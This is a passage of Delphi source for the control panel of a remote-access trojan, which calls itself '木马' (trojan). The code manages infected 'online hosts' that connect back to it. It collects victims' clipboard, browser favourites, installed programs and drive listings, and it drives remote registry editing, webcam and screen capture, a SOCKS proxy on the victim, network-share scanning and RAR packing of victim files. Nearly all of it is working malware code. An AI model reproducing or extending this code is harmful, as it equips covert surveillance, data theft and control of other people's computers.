untmain.pas

由于该木马有三个服务端可以选择生成

     form9.Memo2.Text:=copy(cmd,4,len-3);
     form9.StatusBar1.Panels[0].Text:='剪贴板信息接收完毕.';
     end;
51:  begin
      a:=pos('|',cmd);
      form9.ListView1.Items.Add.Caption:='反弹IP/DNS: '+copy(cmd,3,a-3);
      form9.ListView1.Items.Add.Caption:='反弹端口: '+copy(cmd,a+1,len-a);
      form9.ListView1.Items.Add.Caption:='';
      form9.ListView1.Items.Add.Caption:='备注信息: '+sinsrvs.ItemFocused.SubItems[2];
      form9.ListView1.Items.Add.Caption:='分组名称: '+sinsrvs.ItemFocused.SubItems[9];
      form9.StatusBar1.Panels[0].Text:='服务端配置信息接收完毕.';
     end;
52:  form9.StatusBar1.Panels[0].Text:='指定服务删除完成.';
53:  begin
     if copy(cmd,3,1)='1' then
     form2.StatusBar3.Panels[0].Text:='文件搜索停止成功.'
     else
     form2.StatusBar3.Panels[0].Text:='文件搜索停止失败.';
     form2.SpeedButton1.Enabled:=true;
     form2.SpeedButton5.Enabled:=false;
     form2.PageControl1.Enabled:=true;
     end;
54:  begin
      a:=strtoint(copy(cmd,4,len-3));
      if copy(cmd,3,1)='y' then
      sinsrvs.Items[a].SubItems[5]:='升级成功'
      else
      sinsrvs.Items[a].SubItems[5]:='升级失败';
     end;
55:  begin
      form2.ListBox1.Items.Text:=copy(cmd,3,len-2);
      for a:=0 to form2.ListBox1.Items.Count-1 do
      form2.ListView3.Items.Add.Caption:=form2.ListBox1.Items[a];
      form2.PageControl1.Enabled :=true;
      form2.StatusBar3.Panels[0].Text:='远程主机的硬盘信息接收完毕.';
     end;
56:  if copy(cmd,3,1)='1' then
     form2.StatusBar1.Panels[0].text:='指定的文件压缩完成---rrzhh1.rar.'
     else
     form2.StatusBar1.Panels[0].text:='没有发现RAR的安装路径.';
57:  if copy(cmd,3,1)='1' then
     form2.StatusBar1.Panels[0].text:='指定的文件夹打包完成---rrzhh2.rar.'
     else
     form2.StatusBar1.Panels[0].text:='没有发现RAR的安装路径.';
58:  if copy(cmd,3,1)='1' then
     form6.StatusBar1.Panels[0].Text:='远程Socks代理已经开启.'
     else
     form6.StatusBar1.Panels[0].Text:='远程Socks代理开启完成.';
59:  if copy(cmd,3,1)='1' then
     form6.StatusBar1.Panels[0].Text:='远程Socks代理已经停止.'
     else
     form6.StatusBar1.Panels[0].Text:='远程Socks代理停止完成.';
60:  if copy(cmd,3,1)='1' then
     form6.StatusBar1.Panels[0].Text:='远程Socks代理状态: 停止.'
     else
     form6.StatusBar1.Panels[0].Text:='远程Socks代理状态: 开启.';
61:  form9.StatusBar1.Panels[0].Text:='服务端配置信息重写完成---重连生效.';
62:  if copy(cmd,3,1)='1' then
     form2.StatusBar4.Panels[0].Text:='指定的共享目录映射成功---刷新分区可见.'
     else
     form2.StatusBar4.Panels[0].Text:='指定的共享目录映射失败.';
63:  if copy(cmd,3,1)='1' then
     form2.StatusBar4.Panels[0].Text:='指定的共享目录映射成功---刷新分区可见.'
     else
     form2.StatusBar4.Panels[0].Text:='指定的共享目录映射失败.';
64:  if copy(cmd,3,1)='1' then
     form2.StatusBar4.Panels[0].Text:='共享目录的映射取消成功.'
     else
     form2.StatusBar4.Panels[0].Text:='共享目录的映射取消失败.';
65:  begin
     if copy(cmd,3,1)='1' then
     form2.StatusBar4.Panels[0].Text:='共享扫描停止成功.'
     else
     form2.StatusBar4.Panels[0].Text:='共享扫描停止失败.';
     form2.SpeedButton6.Enabled:=true;
     form2.SpeedButton7.Enabled:=false;
     end;
   end;
 end;
7:  begin  //收藏夹
    s:=encrypttext(fbuf);
    form9.memo1.Text:=form9.memo1.Text+S;
    if copy(s,length(s),1)='^' then
     begin
      form9.ListBox1.Items.Text:=form9.Memo1.Text ;
      for a:=0 to form9.listbox1.items.Count-2 do
      begin
       view:=form9.ListView7.Items.add;
       b:=pos('|',form9.ListBox1.Items[a]);
       view.Caption:=copy(form9.listbox1.Items[a],1,b-1);
       view.SubItems.Add(copy(form9.ListBox1.Items[a],b+1,
       length(form9.ListBox1.Items[a])-b));
      end;
      edit2.text:='6';
      form9.StatusBar1.Panels[0].Text:='收藏夹信息接收完毕.';
     end else
     form9.StatusBar1.Panels[0].text:='正在查看收藏夹的信息...50%';
    end;
8:  begin  //安装程序信息
    s:=encrypttext(fbuf);
    form9.memo1.Text:=form9.memo1.Text+s;
    if copy(s,length(s),1)='|' then
     begin
      form9.ListBox1.Items.Text:=form9.Memo1.Text ;
      for a:=0 to form9.listbox1.items.Count-2 do
      if form9.listbox1.Items[a]<>'' then
      form9.ListView6.Items.add.Caption:=form9.ListBox1.Items[a];
      edit2.text:='6';
      form9.StatusBar1.Panels[0].Text:='已安装程序的信息接收完毕.';
     end else
     form9.StatusBar1.Panels[0].text:='正在接收已安装程序的信息...50%';
    end;
  end;
end;
procedure TfrmMain.SinSrvClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
var
 i:integer;
begin
 for i:=0 to SinSrvs.Items.Count-1 do
 begin
 if SinSrvs.Items[i].SubItems[4]=inttostr(socket.SocketHandle) then
  begin
   SinSrvs.Items[i].Delete;
   Break;
  end;
 end;
 case (strtoint(edit3.Text)) of
1: if form9.StatusBar2.Panels[0].Text=inttostr(socket.SocketHandle) then
   form9.Close;
2: if form2.StatusBar2.Panels[0].Text=inttostr(socket.SocketHandle) then
   form2.Close;
3: if form7.StatusBar2.Panels[0].Text=inttostr(socket.SocketHandle) then
   form7.Close;
4: if form11.StatusBar2.Panels[0].Text=inttostr(socket.SocketHandle) then
   form11.Close;
5: if form10.StatusBar2.Panels[0].Text=inttostr(socket.SocketHandle) then
   form10.Close;
6: if form6.edit2.Text=inttostr(socket.SocketHandle) then
   form6.Close;
 end;
 ErrorCode:=0;
 statusbar1.panels[1].text:='上线主机数: '+inttostr(sinsrvs.items.Count);
end;
procedure TfrmMain.SpeedButton4Click(Sender: TObject);
begin
 form12.Caption :=EncryptText('翟咧炔砂');
 form12.showmodal;
end;
procedure TfrmMain.SpeedButton5Click(Sender: TObject);
begin
 sinsrv.Active:=false;
 sinsrvs.Clear;
 sleep(200);
 sinsrv.Active:=true;
 statusbar1.panels[1].text:='刷新完毕,请等待主机上线...';
end;
procedure TfrmMain.N4Click(Sender: TObject); //得驱动器
var
 f:string;
 sock:integer;
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 sock:=strtoint(sinsrvs.ItemFocused.SubItems[4]);
 form2.edit1.Text:='';
 form2.ComboBox1.Clear;
 form2.ListView1.clear;
 form2.ListView2.Clear;
 form2.ListBox1.Clear;
 form2.ListBox2.clear;
 form2.ComboBox2.Clear;
 form2.ListView3.Clear;
 form2.ListView4.Clear; 
 form2.listview3.Columns[0].caption:='';
 f:='16';
 send(sock,f[1],2,0);
 form2.statusbar2.Panels[0].text:=sinsrvs.ItemFocused.SubItems[4];
 form2.PageControl1.Enabled :=true;
 edit3.Text:='2'; 
 form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
 form2.StatusBar3.Panels[0].text:='';
 form2.showmodal;
end;
procedure TfrmMain.SpeedButton3Click(Sender: TObject);
begin
 form3.Edit3.Text :=EncryptText('炔砂><<4');
 form3.showmodal;
end;
procedure TfrmMain.SpeedButton6Click(Sender: TObject);
begin
 form1.ShowModal ;
end;
procedure TfrmMain.ApplicationEvents1Minimize(Sender: TObject);
begin
 if form1.CheckBox3.checked then
 trayicon1.Visible :=true ;
end;

procedure TfrmMain.ApplicationEvents1Restore(Sender: TObject);
begin
 if trayicon1.Visible then
 trayicon1.Visible :=false;
end;
procedure TfrmMain.N3Click(Sender: TObject);
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 form7.tv.Items.Clear;
 form7.Listview1.Clear;
 form7.tv.Enabled:=true;
 form7.ListView1.Enabled :=true;
 form7.StatusBar2.Panels[0].text :=sinsrvs.ItemFocused.SubItems[4];
 form7.StatusBar1.Panels[0].text:='';
 form7.Edit2.Text:='';
 form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
 form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
 form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
 form7.tv.Items.Add(nil,'HKEY_USERS');
 form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
 form7.PopupMenu1.AutoPopup :=false;
 form7.PopupMenu2.AutoPopup :=false;
 edit3.Text:='3';
 form7.ShowModal;
end;
procedure TfrmMain.sinsrvsDblClick(Sender: TObject);
var
 f:string;
 sock:integer;
begin
If (sinsrvs.ItemIndex = -1) Then Exit;
if form1.RadioButton1.Checked then
 begin
 form9.StatusBar2.Panels[0].text:=sinsrvs.ItemFocused.SubItems[4];
 form9.ListBox1.clear;
 form9.Memo1.Clear;
 form9.Memo2.Clear;
 form9.ListView1.Clear ;
 form9.ListView2.Clear ;
 form9.ListView3.Clear ;
 form9.ListView4.Clear ;
 form9.ListView5.Clear ;
 form9.ListView6.Clear ;
 form9.ListView7.Clear ;
 form9.StatusBar1.Panels[0].text:='';
 form9.listview2.Columns[0].caption:='';
 form9.listview3.Columns[1].caption:='';
 edit3.Text:='1';
 form9.TabSheet1.Enabled :=true;
 form9.ShowModal;
 exit;
 end;
if form1.RadioButton2.Checked then
begin
 sock:=strtoint(sinsrvs.ItemFocused.SubItems[4]);
 form2.edit1.Text:='';
 form2.ComboBox1.Clear;
 form2.ListView1.clear;
 form2.ListView2.Clear;
 form2.ListBox1.Clear;
 form2.ListBox2.clear;
 form2.ComboBox2.Clear;
 form2.ListView3.Clear;
 form2.ListView4.Clear;
 form2.listview3.Columns[0].caption:='';
 f:='16';
 send(sock,f[1],2,0);
 form2.statusbar2.Panels[0].text:=sinsrvs.ItemFocused.SubItems[4];
 form2.PageControl1.Enabled :=true;
 form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
 form2.StatusBar3.Panels[0].text:='';
 edit3.Text:='2';
 form2.showmodal;
 exit;
end;
if form1.RadioButton3.Checked then
begin
 form11.StatusBar2.Panels[0].text :=sinsrvs.ItemFocused.SubItems[4];
 form11.Image1.Picture :=nil;
 form11.StatusBar1.Panels[0].text:='';
 form11.N1.Enabled:=true;
 edit3.Text:='4';
 form11.ShowModal;
end;
end;
procedure TfrmMain.N8Click(Sender: TObject);
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 if sinsrvs.ItemFocused.SubItems[6]=' ' then
 MessageBox(0,'该主机无视频设备.', '提示', mb_ok)
 else
 begin
 form10.StatusBar2.Panels[0].text :=sinsrvs.ItemFocused.SubItems[4];
 form10.Image1.Picture :=nil;
 form10.StatusBar1.Panels[0].text:='';
 form10.N1.Enabled:=true;
 edit3.Text:='5';
 form10.ShowModal;
 end;
end;

procedure TfrmMain.N1Click(Sender: TObject);
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 form11.StatusBar2.Panels[0].text :=sinsrvs.ItemFocused.SubItems[4];
 form11.Image1.Picture :=nil;
 form11.StatusBar1.Panels[0].text:='';
 form11.N1.Enabled:=true;
 edit3.Text:='4';
 form11.ShowModal;
end;

procedure TfrmMain.SinSrvAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
 if edit2.text<>'6' then
 socket.Close;
end;

procedure TfrmMain.N5Click(Sender: TObject);
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 form9.StatusBar2.Panels[0].text:=sinsrvs.ItemFocused.SubItems[4];
 form9.ListBox1.clear;
 form9.Memo1.Clear;
 form9.Memo2.Clear;
 form9.ListView1.Clear ;
 form9.ListView2.Clear ;
 form9.ListView3.Clear ;
 form9.ListView4.Clear ;
 form9.ListView5.Clear ;
 form9.ListView5.Clear ;
 form9.ListView6.Clear ;
 form9.ListView7.Clear ;
 form9.StatusBar1.Panels[0].text:='';
 form9.listview2.Columns[0].caption:='';
 form9.listview3.Columns[1].caption:='';
 edit3.Text:='1';
 form9.TabSheet1.Enabled :=true;
 form9.ShowModal;
end;
procedure TfrmMain.SpeedButton7Click(Sender: TObject);
var
 myinifile:Tinifile;
begin
 form5.StatusBar1.Panels[0].Text:='';
 myinifile:=Tinifile.create(ExtractFilePath(Paramstr(0))+'sound\gp.ini');
 form5.TabSheet1.Caption:=myinifile.Readstring('gp','1','......');
 form5.TabSheet2.Caption:=myinifile.Readstring('gp','2','......');
 form5.TabSheet3.Caption:=myinifile.Readstring('gp','3','......');
 form5.TabSheet4.Caption:=myinifile.Readstring('gp','4','......');
 form5.TabSheet5.Caption:=myinifile.Readstring('gp','5','......');
 form5.TabSheet6.Caption:=myinifile.Readstring('gp','6','......');
 form5.TabSheet7.Caption:=myinifile.Readstring('gp','7','......');
 form5.TabSheet8.Caption:=myinifile.Readstring('gp','8','......');
 form5.ShowModal;
end;
procedure TfrmMain.sinsrvsAdvancedCustomDrawItem(Sender: TCustomListView;
  Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
  var DefaultDraw: Boolean);
begin
 if item.Checked then
 item.ListView.Canvas.Font.Color:=clred;
end;

procedure TfrmMain.N10Click(Sender: TObject);
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 form4.GroupBox3.Caption :='机名: '+sinsrvs.ItemFocused.Caption+
 ' / '+sinsrvs.ItemFocused.SubItems[3];
 form4.StatusBar1.Panels[0].Text:='......';
 form4.ShowModal;
end;

procedure TfrmMain.Ping1Click(Sender: TObject);
var
 sock:integer;
 f:string;
begin
 If (sinsrvs.ItemIndex = -1) Then Exit;
 sock:=strtoint(sinsrvs.ItemFocused.SubItems[4]);
 f:='35'+inttostr(sinsrvs.ItemFocused.Index);
 sinsrvs.ItemFocused.SubItems[7]:='';
 kai:=GetTickCount;
 send(sock,f[1],length(f),0);
end;

end.